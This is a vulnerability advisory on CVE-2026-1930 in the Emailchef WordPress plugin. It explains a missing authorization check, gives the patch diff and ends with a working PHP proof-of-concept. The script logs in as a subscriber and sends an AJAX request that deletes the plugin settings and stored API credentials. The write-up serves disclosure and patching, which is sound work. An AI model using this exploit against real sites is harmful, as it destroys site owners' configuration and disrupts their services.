Atomic Edge analysis of CVE-2026-1930: This vulnerability allows authenticated attackers with Subscriber-level access to delete all Emailchef plugin settings via the ’emailchef_disconnect’ AJAX action. The plugin versions up to and including 3.5.1 lack proper capability checks on the disconnect handler, enabling unauthorized modification of plugin configuration data.
Root Cause: The vulnerable function `page_options_ajax_disconnect()` in `/emailchef/admin/class-emailchef-admin.php` at lines 199-200 (vulnerable) performs two `delete_option()` calls without any authorization check. The function is registered as a WordPress AJAX action handler but contains no `current_user_can()` call. The diff shows the patched version adds a `check_ajax_referer()` call and a `current_user_can(‘manage_options’)` capability check before allowing the deletion. The function deletes both the `emailchef_settings` option and the `Emailchef_Forms_Option::OPTION_NAME` option.
Exploitation: An attacker with a valid WordPress subscriber account sends a POST request to `/wp-admin/admin-ajax.php` with the action parameter set to ’emailchef_disconnect’. The vulnerable code executes the `page_options_ajax_disconnect()` function which immediately calls `delete_option()` without verifying the user has administrative privileges. No nonce is required in the vulnerable version, making exploitation trivial. Example payload: `action=emailchef_disconnect`.
Patch Analysis: The patch at line 206-210 of the diff adds two critical lines before the delete operations: `check_ajax_referer(’emailchef_ajax_nonce’, ‘nonce’)` validates the security nonce, and `if ( ! current_user_can(‘manage_options’) ) { wp_send_json_error(null, 403); }` restricts the operation to users with administrative capabilities. The same authorization pattern is also applied to `page_options_ajax_check_login()` and `page_forms_ajax_form()`. Additionally, the nonce is now properly localized into the JavaScript at line 78-80.
Impact: Successful exploitation deletes all Emailchef plugin settings, including API credentials (consumer key and secret), form configurations, and any connected account data. This causes the plugin to become non-functional until reconfigured by an administrator. The attacker gains the ability to disrupt email marketing operations, potentially causing lost form submissions and breaking Elementor, Contact Form 7, and Jetpack integrations. This is a medium-severity denial of service and data loss vulnerability.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/emailchef/admin/class-emailchef-admin.php
+++ b/emailchef/admin/class-emailchef-admin.php
@@ -77,7 +77,8 @@
}
wp_enqueue_script( $this->plugin_name.'-admin' , plugin_dir_url( __FILE__ ) . 'js/emailchef-admin.js', array( 'jquery' ), $this->version, false );
wp_localize_script($this->plugin_name.'-admin', 'emailchefI18n', [
- 'disconnect_account_confirm' => __('Are you sure you want to disconnect your account?', 'emailchef')
+ 'disconnect_account_confirm' => __('Are you sure you want to disconnect your account?', 'emailchef'),
+ 'nonce' => wp_create_nonce('emailchef_ajax_nonce'),
] );
}
@@ -179,6 +180,12 @@
*/
public function page_options_ajax_check_login() {
+ check_ajax_referer('emailchef_ajax_nonce', 'nonce');
+
+ if ( ! current_user_can('manage_options') ) {
+ wp_send_json_error(null, 403);
+ }
+
$consumer_key = sanitize_text_field($_POST['consumer_key']);
$consumer_secret = sanitize_text_field($_POST['consumer_secret']);
@@ -199,6 +206,12 @@
public function page_options_ajax_disconnect() {
+ check_ajax_referer('emailchef_ajax_nonce', 'nonce');
+
+ if ( ! current_user_can('manage_options') ) {
+ wp_send_json_error(null, 403);
+ }
+
delete_option('emailchef_settings');
delete_option(Emailchef_Forms_Option::OPTION_NAME);
@@ -212,6 +225,12 @@
*/
public function page_forms_ajax_form() {
global $wpdb; // this is how you get access to the database
+
+ check_ajax_referer('emailchef_ajax_nonce', 'nonce');
+
+ if ( ! current_user_can('manage_options') ) {
+ wp_send_json_error(null, 403);
+ }
include_once plugin_dir_path( __FILE__ ) . '../includes/class-emailchef-forms-option.php';
include_once plugin_dir_path( __FILE__ ) . '../includes/drivers/class-emailchef-drivers-forms.php';
--- a/emailchef/admin/partials/emailchef-page-forms-display.php
+++ b/emailchef/admin/partials/emailchef-page-forms-display.php
@@ -75,7 +75,7 @@
if(!$totFormNum){
?>
<div class="notice notice-warning notice-alt">
- <p><?php _e("No forms found", "emailchef"); ?>/p>
+ <p><?php _e("No forms found", "emailchef"); ?></p>
</div>
<?php
}
--- a/emailchef/emailchef.php
+++ b/emailchef/emailchef.php
@@ -8,7 +8,7 @@
* Plugin Name: Emailchef
* Plugin URI: https://emailchef.com/
* Description: Emailchef: the easiest way to create great newsletters. Sync form submissions automatically from Elementor, Contact Form 7, FSCF, and Jetpack.
- * Version: 3.5.1
+ * Version: 3.5.2
* Author: emailchef
* Author URI: https://www.emailchef.com
* License: GPL-2.0+
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1930 - Emailchef <= 3.5.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Plugin Settings Deletion
/**
* This PoC demonstrates how an authenticated subscriber can delete all Emailchef plugin settings
* by sending a POST request to the WordPress AJAX endpoint with the 'emailchef_disconnect' action.
*/
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$subscriber_username = 'subscriber'; // Change to valid subscriber credentials
$subscriber_password = 'password'; // Change to valid subscriber password
// Step 1: Authenticate as a subscriber and get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $subscriber_username,
'pwd' => $subscriber_password,
'rememberme' => 'forever',
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
curl_exec($ch);
curl_close($ch);
// Step 2: Send the disconnect AJAX request (no nonce required in vulnerable version)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = [
'action' => 'emailchef_disconnect'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($ajax_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Check result
if ($http_code === 200) {
echo "[+] Successfully deleted Emailchef plugin settings via subscriber account.n";
echo "[+] Response: " . $response . "n";
} elseif ($http_code === 403) {
echo "[-] Access denied (403). The site may already be patched.n";
} else {
echo "[-] Unexpected response (HTTP " . $http_code . ").n";
}
// Clean up
unlink('/tmp/cookies.txt');